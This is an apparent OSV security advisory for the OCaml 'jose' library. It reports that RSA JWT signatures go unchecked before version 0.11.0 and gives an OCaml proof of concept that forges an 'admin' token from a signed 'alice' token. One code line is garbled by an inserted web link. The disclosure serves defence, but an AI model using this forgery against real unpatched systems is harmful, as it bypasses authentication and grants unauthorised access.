{"id":"OSEC-2026-19","summary":"JOSE: missing RSA signature verification","details":"The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |\u003e Result.get_ok |\u003e Jose.Jwt.to\u003chttp://jose.jwt.to/\u003e_string\n\nlet seg n token = List.nth (String.split_on_char '.' token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice's header and signature, admin's payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |\u003e Result.get_ok\n  |\u003e Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t -\u003e\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -\u003e print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory","aliases":["CVE-2026-89086"],"modified":"2026-09-10T20:30:04.016286933Z","published":"2026-09-10T10:00:00Z","database_specific":{"cwe":["CWE-347"],"osv":"https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json","human_link":"https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md"},"affected":[{"package":{"name":"jose","ecosystem":"opam","purl":"pkg:opam/jose"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.11.0"}]},{"type":"GIT","repo":"https://github.com/ulrikstrid/ocaml-jose","events":[{"introduced":"0"},{"fixed":"cf17d991ec6a0d1997956b6c7799890f9c28879e"}]}],"versions":["0.2.0","0.3.0","0.3.1","0.4.0","0.5.0","0.5.1","0.6.0","0.7.0","0.8.1","0.8.2","0.9.0","0.10.0","v0.10.0","v0.9.0","v0.8.2","v0.8.1","v0.8.0","v0.7.0","v0.5.1","v0.5.0","v0.4.0","v0.3.1","v0.2.0","v0.1.0"],"ecosystem_specific":{"opam_constraint":"jose {\u003c \"0.11.0\"}"},"database_specific":{"source":"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-19.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"credits":[{"name":"Sergey Zhukaev","type":"REPORTER"},{"name":"Hannes Mehnert","type":"COORDINATOR"},{"name":"Konstantin Olkhovskiy","type":"COORDINATOR"},{"name":"Ulrik Strid","type":"REMEDIATION_DEVELOPER"}]}